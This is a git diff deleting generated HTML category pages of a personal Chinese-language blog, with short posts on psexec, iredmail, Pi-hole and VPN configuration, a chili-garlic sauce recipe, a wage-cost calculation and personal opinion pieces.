- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] 解決 psexec 執行screen capture 的程式時,只會抓到一片黑的問題

    -
    - - - 2017-06-08 - - - - - - - - - 其他 - - - - - -
    - - - 一開始這樣指令這樣下 > psexec \192.168.70.133 -s “\192.168.70.133\c$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\test_free_image.exe” 結果發現雖然會執行,但是抓到的畫面只有一片黑 -後來翻了一下google,發現跟什麼互動式登入有關,要多加個參數 -i > psexec \192.168.70.133 -s -i “\192.168.70.133\c$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\test_free_image.exe” 這樣子就可以了! -  -  - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [雜念] 群暉 Synology 的研討會邀請函,主旨還保留 test !?

    -
    - - - 2017-05-08 - - - - - - - - - 其他 - - - - - -
    - - - 前幾天收到群暉寄來的研討會邀請函,主旨如下 -「test【即刻報名 5⁄9 Synology 年度研討會 】擁抱全方位儲存平台 突破新世代 IT 挑戰」 -都已經發給客戶了,主旨還掛著 test?可能是測試完忘記拿掉吧。小地方雖說無傷大雅,但這麼大規模的公司,似乎該更注意一些才是。 - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記]自製蒜頭辣椒醬

    -
    - - - 2017-01-20 - - - - - - - - - 其他 - - - - - -
    - - - Julia Teng 發表於 飛利浦智慧萬用鍋的料理方法分享園地 -做法很簡單,新鮮蒜頭半斤剝皮切碎,新鮮辣椒200公克(愛吃辣的可以買朝天椒)洗淨晾乾或擦乾後切碎。全部放入玻璃罐中,放入3湯匙的鹽,攪拌一下,讓鹽均勻分佈在蒜頭和辣椒上,再倒入米酒至八分滿。加蓋後放置陰涼處1~1.5小時醃一下,再倒入醬油至全滿。稍微攪拌一下,蓋上蓋子後放冰箱醃1星期即可享用香香辣辣的蒜頭辣椒醬油囉!每次食用要用乾淨無水的湯匙搯出來,我的經驗是可以保存半年以上。(p.s. 建議切辣椒時,沒拿刀的手要戴吃手扒雞的透明手套,或是用食物料理機處理,不然手會辣到像火燒。 -  - - - -
    - - - - -
    - - -
    - -
    - - - - - - - - -
    - -
    - - - - - -
    - - -
    -

    [雜念] 一例一休對薪資成本的影響

    -
    - - - 2017-01-04 - - - - - - - - - 其他 - - - - - -
    - - - 假設有一家A公司,有100個員工,每個人的薪資都是36000,時薪為150,每年人均營收貢獻為150萬台幣,所以營業額為15000萬,稅後利潤10% 1500萬都是老闆的 -這間公司所有員工除了週一到週五的八個小時外,每兩個週六要來上一天八小時班(大小禮拜的概念) -同時一例一休後,上班時數及產出都不變 -加班費計算網址: http://labweb.mol.gov.tw/index_2.html#monthlyPay=36000&regularDayOffWorkReason=disaster&workhours=8%2C8%2C8%2C8%2C8%2C8%2C0 -  -在一例一休前 -每人單月薪資含加班費:36000 + 700*2(加班費) = 37400 ,單月薪資小計:37400 * 100 = 3740000,年度薪資含加班費總計:44880000 -一例一休後 -每人單月薪資含加班費: 36000 + 1900*2 = 39800,單月薪資小計: 39800 * 100 = 3980000,年度薪資含加班費總計:47760000 -還是一樣一年做一億五千萬,稅後利潤10% = 1500萬,但是人事成本增加了(47760000-44880000) = 2880000,所以老闆賺的變成15000000-2880000 = 12120000 -是原本的80.8%(12120000⁄15000000) ,也就是說是老闆少賺了20%左右.. - - - -
    - - - - -
    - - -
    - -
    - - - - - - - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] PIHOLE - 利用 DNS Server 阻絕網頁廣告

    -
    - - - 2016-08-11 - - - - - - - - - 其他 - - - - - -
    - - -

    官網:https://pi-hole.net/

    - -

    簡單說,就是建立一台DNS Server ,上面有一些有組織在維護的域名黑名單

    - -

    當裝置在瀏覽網頁時,需要先透過DNS去反查出IP,如果反查的域名在黑名單中,會自動將域名轉為 127.0.0.1,進而達到阻擋廣告(甚至連載入都不會載入)

    - -

    p.s ADBLOCK之類的套件,是等到廣告載入完了,才去擋掉

    - -

    這種狀況在手機上瀏覽網頁時特別明顯,很容易就受到廣告的干擾!

    - -

    這個概念很不錯!甚至一些透過C&C中繼伺服器運作的病毒,也可以透過這種方式阻擋掉!

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - Older posts - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/其他/page/1/index.html b/themes/public/categories/其他/page/1/index.html deleted file mode 100644 index b9a873b4..00000000 --- a/themes/public/categories/其他/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/%E5%85%B6%E4%BB%96/ \ No newline at end of file diff --git a/themes/public/categories/其他/page/2/index.html b/themes/public/categories/其他/page/2/index.html deleted file mode 100644 index 9f9bccce..00000000 --- a/themes/public/categories/其他/page/2/index.html +++ /dev/null @@ -1,720 +0,0 @@ - - - - - - - - - - 其他 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - -
    - - - - - -
    - - -
    -

    [MV] Davichi / T-ara / We were in love

    -
    - - - 2016-07-19 - - - - - - - - - 其他 - - - - - -
    - - - [video width=“1280” height=“720” mp4=“http://wp.cowbay.org/wp-content/uploads/2016/07/Davichi-_-T-ara-We-were-in-love-MV.mp4"][/video] - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    PTT 簽名檔-寒狗

    -
    - - - 2016-07-12 - - - - - - - - - 其他 - - - - - -
    - - - 有一天, 神問狗說:「狗阿~你喜歡住熱帶還是寒帶?」 狗:「當然是熱帶囉!」 神:「為什麼呢?」 狗:「我的良心告訴我,當熱狗比當寒狗好。」 - - - -
    - - - - -
    - - -
    - -
    - - - - - - - - -
    - -
    - - - - - - - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] iredmail 的amavisd 預設好像有問題

    -
    - - - 2016-05-11 - - - - - - - - - 其他 - - - - - -
    - - - 從外面寄信時,會在 maillog 看到類似這樣的錯誤,不過信件還是可以寄出就是 > May 11 17:23:13 iredmail amavis[1582]: (01582-02) TempDir::prepare_file: /var/spool/amavisd/tmp/amavis-20160511T172313-01582-kSxYqpMz/email.txt no longer exists, can’t re-use it 雖然信件還是可以正常寄出,不過看到有error 就是不爽 XD -看起來像是權限的問題 -去找了一下/var/spool/amavisd 這個目錄的權限,應該是沒有問題 > drwxr-x— 7 amavis amavis 4096 May 11 17:32 amavisd 又看到網路上有人說這是因為clam帳號權限的問題 -  > The problem with EPEL is that the “clam” user does not have access to the amavis folders. To get this to work with EPEL is pretty staight forward: > > > 解決方法也很簡單 > > > usermod -a -G amavis clam > > chmod g+rx /var/spool/amavisd/tmp   - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] 在CentOS 為 iredmail 加入 letsencrypt 的FREE SSL 認證

    -
    - - - 2016-05-11 - - - - - - - - - 其他 - - - - - -
    - - - 在CentOS 為 iredmail 加入 letsencrypt 的FREE SSL 認證 先升級python27 > yum install -y centos-release-SCL > > yum install -y python27 > > </pre> > > <pre>alias python=python2.7 > > 再來,參考網友 dsp3 寫的步驟 -http://www.dsp3.org/integrating-lets-encrypt-with-iredmail/ -其實沒很難啦,LetsEncrypt 基本上會幫忙設定到好(如果用 apache的話) -不過這樣的設定只有WEB會生效 -  -  - - - -
    - - - - -
    - - -
    - - - -
    - - Older posts - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/其他/page/3/index.html b/themes/public/categories/其他/page/3/index.html deleted file mode 100644 index e69dbdb7..00000000 --- a/themes/public/categories/其他/page/3/index.html +++ /dev/null @@ -1,789 +0,0 @@ - - - - - - - - - - 其他 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] Iredmail + Postfix Admin dovecot 的一些設定

    -
    - - - 2016-05-05 - - - - - - - - - 其他 - - - - - -
    - - - /etc/dovecot/dovecot.conf -重點 -disable_plaintext_auth = no -mail_location = maildir:/var/vmail/%d/%n:INDEX=/var/vmail/%d/%n/indexes -  -  > #ssl_dh_parameters_length = 2048 > > #ssl_prefer_server_ciphers = yes > > > # IP ranges specified by login_trusted_networks setting are assumed to be secure. > > #login_trusted_networks = 127.0.0.1 > > > # With disable_plaintext_auth=yes AND ssl=required, STARTTLS is mandatory. > > # Set disable_plaintext_auth=no AND ssl=yes to allow plain password transmitted > > # insecurely. > > disable_plaintext_auth = no > > # Allow plain text password per IP address/net > > #remote 192. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] iredmail 取消灰名單機制 / iredmail disabled greylisting plugin

    -
    - - - 2016-04-22 - - - - - - - - - 其他 - - - - - -
    - - - 個人覺得灰名單其實在郵件過濾的過程中,是很容易造成誤判的一個機制 -尤其現在很多的帳號「認證」、「驗證」的步驟,都會寄送一封郵件,內含驗證碼讓使用者回填 -通常這類驗證信件在被灰名單擋住第一次之後,都不會主動再寄送第二次 - -所以常碰到這種狀況,必須手動去排除灰名單 -與其這樣,我倒認為乾脆解除這個機制還比較好一點 -在 iredmail 系統中,要解除這個灰名單的機制,要去修改 settings.py 裡面的內容 > vim /opt/iredapd/settings.py 找到底下這一段,拿掉 greylisting > plugins = [“reject_null_sender”, “greylisting”, “throttle”, “amavisd_wblist”, “ldap_maillist_access_policy”] 變成這樣 > plugins = [“reject_null_sender”, “throttle”, “amavisd_wblist”, “ldap_maillist_access_policy”] 存檔後重起 iredapd 服務 > service iredapd restart 再次發送驗證信件,應該就可以了! - -  - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [雜念] 密碼複雜度又要再次提升 .....

    -
    - - - 2016-04-20 - - - - - - - - - 其他 - - - - - -
    - - - 電腦越來越強,運算能力越來越好,結果就是字典攻擊的速度越來越快了.. -本來慣用的密碼之一,八碼/小寫英文加數字 ,居然被破了! -早上開OUTLOOK,收到一堆退信,心想大事不妙 -翻了一下mail server / NOPAM的 LOG -還真的是用我的帳號進來通過認證才發信的.. -IP在印尼(雖說查這個也沒啥意義) - -  -總之,先改了密碼,這次把長度放大到15碼 大小寫數字符號都有了…再看看怎麼破…. -或許之前一直在「設計階段」的動態密碼該真正實施了吧… -  -Update: 最後確認是在NOPAM上我自己新增的帳號被猜到,而不是MAIL SERVER上的帳號密碼被猜到.. - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [美劇] 真實的人類

    -
    - - - 2016-04-07 - - - - - - - - - 其他 - - - - - -
    - - - [美劇] 真實的人類 一直都很喜歡這種機器人的題材 前陣子在土豆視頻裡亂轉台,看看有沒有什麼美劇好看 就讓我注意到這部「真實的人類」 當然啦,一開始還是女角有吸引到我啦 XD 我說啊,看戲就是要看得心曠神怡啊~ 撇開演技什麼的不談,至少選角要選好啊! -左邊是英國版的Anita ,右邊是瑞典版的….. - -這是片中另一位機器人角色 -英國版的 Niska 精緻得像洋娃娃 - -  -瑞典版的….嗯… - -雖然以肢體動作來說,瑞典版的演員比較像傳統印象中的機器人 -還帶有一點機器「運轉」的味道,化妝上也比較符合刻板機器人的面貌 -[caption id=“attachment_1639” align=“alignnone” width=“669”] 感覺就真的很像機器人的演員[/caption] -  -不過,既然這幾隻都是被賦予「意識」的機器人,動作上多點人性,我認為也沒有什麼不妥 -[caption id=“attachment_1640” align=“alignnone” width=“1019”] 同樣是機器人,英國版的就多了點人性的感覺。牙籤插眼好痛啊…[/caption] -  -劇情的部分,兩部走向差滿多的。我是比較喜歡英國版的啦,畢竟演員選角就贏了… -  -還有個兩部都有提到的劇情,就是關於18禁的部分 -其實吼,當把機器人完全擬人化,連外型、「外表」都做得這麼像人類 -這個18禁的部分就肯定少不了.. -如果是我,應該第一天就會開啟來試用了吧 XD -  -希望有生之年(?) 能看到這種機器人真的在生活中出現! -  -  -  -  - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] 在台灣透過國外的 ivacy VPN服務 翻牆進中國看影音平台提供的影劇

    -
    - - - 2016-03-31 - - - - - - - - - 其他 - - - - - -
    - - - 在台灣透過國外的VPN服務 翻牆進中國看影音平台提供的影劇 原本使用某ISP業者的特殊線路(Internet PLUS) 這種線路會配發兩個IP,一個是台灣的IP,一個是大陸的IP 只要有支援的設備,就可以用台灣的IP來搭VPN SERVER,然後指定由大陸的IP上網 這樣子就完全不會被大陸的影音平台給封鎖了! -不過呢,好景不常….這條線路是附掛在其他產品底下的,主產品最近要退租了, 這個服務當然也就無法繼續使用。 可是家人又已經很依賴這些大陸的影音平台追劇了,所以只好想辦法找其他方法來解決被封鎖的問題。 一般的解法,一個是proxy ,一個是 VPN Proxy 比較麻煩一些,因為要動到電視盒的網路設定 VPN 相對簡單一些,我可以用分享器去建立VPN ,電視盒再透過這台分享器上網就可以了! -因為本身工作的關係,所以我接觸了很多VPS服務,一開始也是打算用VPS來建立VPN服務 我找的是 starrydns 這家,算是比較有口碑的 他的VPS服務有一種類型是中國優化線路,根據廠商的回覆是不會被影音平台封鎖 一個月 HK 76 ,換算台幣約三百多 我測了大概一個禮拜左右,這家廠商的這個服務真的沒話說,速度快、穩定、客服反應速度也很快 但是算了一下,一個月三百多耶..有點貴。而且流量限定200G,感覺少了點.. 於是我先退租了這個服務,繼續找其他中國或香港直連的VPS 看了很久很久,發現中國的VPS都有一個很詭異的問題 在上面搭的VPN,不曉得哪時候會不能用….這應該是官方的政策吧 對於這種服務看管得很死,雖然廠商都會告訴你自己私人用OK 但是我也真的碰過跑了兩三天之後,服務就再也連不上的情況..(阿里雲、騰迅雲..) 最後,我終於放棄用中國的VPS了… -既然用自己的VPS來搭VPN這條路行不通 於是我改找廠商提供的 VPN服務 條件就是要有中國的伺服器,然後價格要盡量低…(目標是 5 USD/月) 用 top 5⁄10 vpn provider 去google 搜尋 測試過程就不提了,反正前幾名的這幾間都被我打槍 … 某次在網路上閒晃的時候,意外發現了這間 -ivacy vpn 首先吸引我注意的當然是價格 年付只要1.83 USD/month , 而且七天退款保證 ,就是說有七天試用啦! 國外的廠商幾乎都會提供三天五天七天不等的試用(退款保證) 既然如此,那還等啥,趕快申請了啊! -等到帳號開通之後,馬上先用手機連線測試 在官網上可以下載官方的設定檔,會自動在iphone上建立vpn -但是呢 -千萬不要用! ** 千萬不要用!** ** 千萬不要用!** - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [雜念] 幹你媽的廢死!

    -
    - - - 2016-03-29 - - - - - - - - - 其他 - - - - - -
    - - - 我反廢死,但是我也不認為死刑的存在對於這次內湖的殺童案會有任何「嚇阻」作用 -不過我完全無法接受電視上這些支持廢死的人說出來的話。 -  -死刑不能解決問題? -你他媽的廢死又怎樣能夠預防下一個隨機殺人出現? -根本兩碼子事,就你們這些人硬要出來坦? -  - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] 台灣安博盒子簡易測試心得

    -
    - - - 2016-03-17 - - - - - - - - - 其他 - - - - - -
    - - - PCHOME買的,昨天到貨,測試一個小時左右。 -可能等到週六、日的職棒轉播看完結果再來決定要不要退,不過基本上,對這個產品滿失望的就是了。 -  -1.直播時間有落差,大約十分鐘 -2.各類視頻APP 還是跟其他的產品一樣,會碰到連線大陸很慢或者是不給看的問題 -3.晚上測試時,有的直播電視頻道會像是鬼打牆一樣,不斷跳針,就算跳出去再進來還是一樣 -4.早上(七點多)測試,晚上會跳針的頻道就OK..所以看來是廠商頻寬不夠? -5.K歌之王這個APP來源應該也是大陸,所以其實撥MV的時候還滿卡的(CHT 雙向100M) -  -update -今天回家後,想測試看看平常看大陸視頻用的PPTP Server 能不能順利的看電視直播 -很可惜的是雖然可以看,但是非常卡,但是測速又有將近2M的速度,我實在無法理解為何會這樣… -不過既然都連上了,順便看看這台的全聚合有沒有啥問題,拿來看了兩部美劇,都還滿流暢的,下載了優酷APP,看了一集韓劇也是OK的 -就在我測試完這條VPN,切回原來的中華電信雙向100線路後,發現電視直播不能看了!(大概九點多吧) -嘗試了很多方法,每個頻道都一直在轉圈圈,無法正常收看 -用LINE問了他們客服,回答說主機掛了,香港原廠處理中 -到十一點多要去睡了還沒恢復,所以毅然決然的打包,申請退貨去了 XD -  -  - - - -
    - - - - -
    - - -
    - - - -
    - - Older posts - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/其他/page/4/index.html b/themes/public/categories/其他/page/4/index.html deleted file mode 100644 index fecbe820..00000000 --- a/themes/public/categories/其他/page/4/index.html +++ /dev/null @@ -1,769 +0,0 @@ - - - - - - - - - - 其他 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [測試] NSX AutoPoser Plugin test

    -
    - - - 2016-03-08 - - - - - - - - - 其他 - - - - - -
    - - - test -[video width=“516” height=“230” mp4=“http://wp.cowbay.org/wp-content/uploads/2015/12/2015-11-30_09-36-43.mp4"][/video] - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [BLOG] 又搬家啦!

    -
    - - - 2016-03-08 - - - - - - - - - 其他 - - - - - -
    - - - 最近DigitalOcean(DO) 新加坡機房的速度越來越慢 -只是拿來做跳板上 PTT 而已,就常常頓爹,用得很不爽 -剛好在測試vultr 的機器,發現日本機房速度滿快的,而且也有FreeBSD可以用 -就花了點時間從DO轉到vultr來,觀察一段時間看看吧.. -  - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] AfterLogic Webmail Lite 安裝後設定

    -
    - - - 2016-03-04 - - - - - - - - - 其他 - - - - - -
    - - - 這個要改成 On -才會把丟去mail server 驗證的帳號改成只有 username -如果是 Off ,會丟整串 username@abc.com -<UseLoginWithoutDomain>On</UseLoginWithoutDomain> - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] Freebsd 磁碟管理的指令

    -
    - - - 2016-03-03 - - - - - - - - - 其他 - - - - - -
    - - - sh -c ‘. /usr/share/bsdconfig/device.subr;f_device_menu “” “” “” DISK’ - - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] 詭異的 Yahoo信箱&Facebook帳號

    -
    - - - 2015-08-18 - - - - - - - - - 其他 - - - - - -
    - - -

    好吧,這是一件,沒啥飄點,但有點小詭異的事情,來「分享」一下。

    - -

    我有個在yahoo用了十幾年的帳號,帳號名稱是我姓名的英文拼音,總共有13碼。這個帳號我一直以來都是用來登入Yahoo拍賣買東西,很少會去YAHOO的電子郵件檢查信件。

    - -

    剛剛要找個東西,發現google打不開,所以我開了YAHOO來搜尋,然後YAHOO首頁的右上角就會出現你有幾封信件這樣,想說都好幾年沒登入了,來去看看好了。

    - -

     

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [雜念] Amazon Echo - Home Automation

    -
    - - - 2015-07-08 - - - - - - - - - 其他 - - - - - -
    - - -

    Amazon Echo 這玩意推出滿久了,雖說只支援英文語音辨識

    - -

    不過看到國外玩家開始拿來應用在智慧家庭的情境上,滿有趣的

    - -

    而且很符合我之前做過的夢 (真的是作夢夢到的..)

    - -

    夢裡面,家裡是由一部叫做 Alice 的電腦控制 (Alice的由來是取自於惡靈古堡)

    - -

    要執行動作前,先喊一聲 Alice ,然後 Alice 會回應 「What Can I do for you ?」,接著開始下指令

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [夢想] 大宅院

    -
    - - - 2015-06-19 - - - - - - - - - 其他 - - - - - -
    - - - 一塊農地 裡面蓋三間房子 -一棟自己住,一棟給爸媽,另一間給妹妹們或者給訪客 -空地要有造景山水、要有樹 -室內主屋走高科技 都用觸控面板還有聲控控制 -可以用聲控下指令控制家電 -「Alice ,開啟一樓客廳空調」 -「開啟一樓客廳空調,請問溫度要設定幾度?」 -  -「Alice,一樓大門解鎖」 -「一樓大門已解鎖」 -電視頻道固定某一台播放大門 IPCAM 訊號 -「Alice,檢查大門影像」 就會把電視切換到大門的鏡頭 -  -  -  -每間房間有一張識別卡 卡片放在床頭固定位置可以啟用平板控制房間內的設備 -地下室有停車場 -房子周圍有護城河 -邊上有HD IPCAM -IPCAM 的影像會即時上傳到雲端空間 -  -其中一間房子的背後有個小房間 所有線路集中在那邊 -裡面有溫控的抽風機 -頂上也有溫控的排氣設備 -備有專用的發電機組 -  -  -院子要有菜園??不要有草皮,但是要有山水造景 -要養兩隻大白熊,戶外休息的陰涼處要裝溫控的抽風機或風扇 -  -訪客停車導引到地下室 -要有車道到大門前 -  -浴室要用下沉式的浴缸,貼黑色片岩質感 -  -  - - - -
    - - - - -
    - - -
    - - - -
    - - Older posts - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/其他/page/5/index.html b/themes/public/categories/其他/page/5/index.html deleted file mode 100644 index d9d1b655..00000000 --- a/themes/public/categories/其他/page/5/index.html +++ /dev/null @@ -1,780 +0,0 @@ - - - - - - - - - - 其他 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [雜念] 香港HKServer VPS 的速度還挺不錯的吶

    -
    - - - 2015-06-15 - - - - - - - - - 其他 - - - - - -
    - - -

    因為想要翻牆進大陸看影片 ( 大陸網民:老子搞半天要翻牆出去,你居然想進來!?)

    - -

    一直不斷的在測試亞洲的一些VPS

    - -

    Linode / DigitalOcean /Amazon EC2/Google Cloud Computing

    - -

    基本上就是註冊帳號、申請機器、架設PPTP or Softether VPN

    - -

    但是沒有一個空間在晚上能夠很順暢的播放大部分的影片…

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - - - - -
    - -
    - - - - - - - - -
    - -
    - - - - - -
    - - -
    -

    [雜念] 用 3D印表機印出3D印表機零件??

    -
    - - - 2015-04-10 - - - - - - - - - 其他 - - - - - -
    - - - 剛剛不小心晃到某個網頁在介紹3D印表機 -看著看著突然想到,有沒有可能那一天可以用3D印表機去列印出3D印表機? -有點像是用機器人去生產機器人的概念? - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    個人/家庭 資料備份到百度雲端空間

    -
    - - - 2015-04-09 - - - - - - - - - 其他 - - - - - -
    - - -

    1.前言

    - -

    2.雲端空間介紹

    - -

    3.申請雲端空間(以百度雲為例)

    - -

    4.下載、安裝雲端同步軟體

    - -

    5.設置雲端同步軟體,自動上傳特定路徑內的檔案到雲端空間

    - -

    6.與備份軟體的結合,達成檔案壓縮加密後自動上傳

    - -

    7.資料分級、保密

    - -

    feathers : Sync to remote and delete local

    - -

     

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [雜念] 「全象主場」的一些心得

    -
    - - - 2014-10-22 - - - - - - - - - 其他 - - - - - -
    - - - 很久沒進場了,剛好幾個老同學突然間熱血了起來,又搶到了幾張票,所以大家揪一揪,進場看球啦!底下是針對這場「全象主場」的一些心得 -1.人員進場管制 我算是滿早到二樓入口排隊的,撇開前面慢慢解壓縮的排隊人群不提,其實是還滿有秩序的。 但是現場不斷有耳語,說什麼只有排右邊入口的才能去排福袋,然後左邊的人群就發出抗議。 或者是有外野票的球迷來說因為不能到內野,外野又沒有販賣區,所以他們想要先買(想也知道不可能) 群眾是盲目的,一群熱血的群眾更是可怕,如果球團能在這邊設置個NPC來回答問題,應該可以改善這些狀況,讓大家在排隊的時候更心安,不會受到未經證實的耳語干擾心情! -2.主場應援設備 昨天我坐在三壘側,內野11區,前方就是一對大喇叭,後來可能怕太大聲,所以撤走一個,音量我想應該是足夠的。 可是在聲音的品質上,實在是有夠慘。而且似乎只有啦啦隊的聲音才會這樣,場地的麥克風測試和現場的廣播、球員的主題曲這都是OK的。 但是常在播放對面啦啦隊呼口號的聲音時破音,讓人很受不了。 賽前有聽到工作人員說這邊的喇叭似乎是臨時加設的,施工品質有待加強! -3.全象主場? 前面說過,我坐在三壘這邊,在右外野部分有一整塊是Lamigo的位置,然後12區最前面一排有四五個小女生是LAMIGO的球迷,加上這場比賽我們打得很悶, 所以其實整場大部分時間都在聽小女生尖叫(!?)和右外野LAMIGO的加油聲音。 其實還滿有感觸的,一個是這幾個小女生真勇敢,深入敵營還這麼用力加油! 另一個是LAMIGO有針對每個球員設計不同的口號,在現場聽了兩三次之後,我幾乎都會背了 …. 可是我們呢?除了恰恰有專屬的加油歌曲之外,其他球員就是安打安打全壘打、兄弟加油、玩了25年就是這些口號,久久沒進場,也不會有隔閡,完全無縫接軌。 LAMIGO似乎有職業的應援團成員?(我不確定,有錯請指正),兄弟好像永遠就是固定的幾位義務性質的加油團(還看到好久不見的大帥,還是一樣….「真性情」..) 是不是因為這樣的關係,所以只能靠著球迷的熱情為球員加油,而沒有一套完整的應援方式。像是歌曲、口號、肢體動作、敲加油棒的節奏等等,應該可以有很多變化組合啊! 希望這部分能夠有更好的改變! -另外,個人認為全象主場不是把客隊球迷趕到外野去當作沒看到就好。 三壘區雖然有PS在帶動,可是少了應援團,就是很沒FEEL!雖然可以聽到一壘那邊的聲音,可是前面有提過喇叭的品質很糟糕,根本就是一種干擾! 如果三壘這邊也可以有應援團過來帶動,配合PS,我相信三壘這邊的氣氛一定可以更HIGH !而且可以針對少數客場球迷的口號作反制, 既然都喊出全象主場,居然還讓客場的球迷那麼HIGH,我覺得這點我不太能接受。 應該可以想出一些不攻擊球員,但是又能夠反制對方的方式吧!? -P.S 現場看P.S真的很「賞心悅目」,尤其是大家都超有節奏感的,個人的動作和音樂搭配得很好,尤其是從我的角度看過去一壘雖然都是看到背影,但還是可以感受到整個超「動感」的! 果然不枉費我專程進場看 P.S ! 尤其是芷盈開朗純真的笑容,讓這場悶爆了的比賽總算有一些亮點! 所以後來我幾乎都在P.S的區域出沒,反而很少在自己的座位上 XD -4.球員的表現 這部分就不多說了…… 我覺得有個地方很值得討論的是有一局(應該是二局上,失三分那局吧),有個球傳一壘失誤,許基宏追到球之後,很明顯已經來不及再傳二壘了。 但是他還是硬往二壘丟,然後也丟歪了,雖然沒有讓對方再進壘,但是這個動作完全沒有必要啊! 再來就是勝拔失誤後,我有默默念了一下不會失分魔咒再現吧,結果事實證明,數據真的有參考價值……………….. -最後,身為一個很少進場的資深兄弟球迷(我們昨天還在開玩笑,我們開始看職棒的時候,可能現場很多人還沒出生…) 球賽的勝負其實已經看得很淡了 <—-硬要騙自己這樣 XD 相對的,更在意的是球賽的內容和場外的PS 今天進場感受到P.S的熱力之後,我想以後應該會增加我進場的次數吧! 希望之後可以有勇氣幫芷盈拍照!每次在觀景窗看到芷盈的目光掃過這邊,就算明知不是在看我這裡,也還是好害羞啊 >//////< 也希望球團、球員、還有球迷朋友們,大家可以努力打造更好更舒適的看球環境! -也許會傷心,會低落、會感到憤怒和難過,但是象魂永遠不滅! - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [雜念] CJSCOPE 的驅動程式下載和命名方式

    -
    - - - 2014-06-11 - - - - - - - - - 其他 - - - - - -
    - - - 剛剛在閒晃看看能不能撿到便宜的筆電 -在Y拍上看到一台 CJSCOPE JS-153CR 滿符合我的需求的 -想說上CJSCOPE官網找找是不是可以支援Win7 , 發現CJSCOPE的驅動下載是用FTP的方式 -而且依照型號分清楚,其他廠商像是acer/asus/ibm/dell ,都還要自己去選硬體,然後一個一個點進去下載 -CJSCOPE提供的FTP下載實在是太方便了! -而且我連進FTP之後,發現他驅動程式的命名,在檔名前面會加上順序 00 01 02 03 這樣 -直接看圖 - -巧的是,其實在下我也一直都用這種方式在整理公司內的筆電的驅動程式 -一樣,直接看圖..IBM R50e都多久以前的機種了,就知道我用這方法多久了.. - -  -這樣可以算是「英雄所見略同」嗎? XDDD -  - - - -
    - - - - -
    - - -
    - - - -
    - - Older posts - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/其他/page/6/index.html b/themes/public/categories/其他/page/6/index.html deleted file mode 100644 index df615ff6..00000000 --- a/themes/public/categories/其他/page/6/index.html +++ /dev/null @@ -1,730 +0,0 @@ - - - - - - - - - - 其他 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - -
    - - - - - -
    - - -
    -

    [其他] 假冒 Apple 的詐騙信件

    -
    - - - 2013-10-07 - - - - - - - - - 其他 - - - - - -
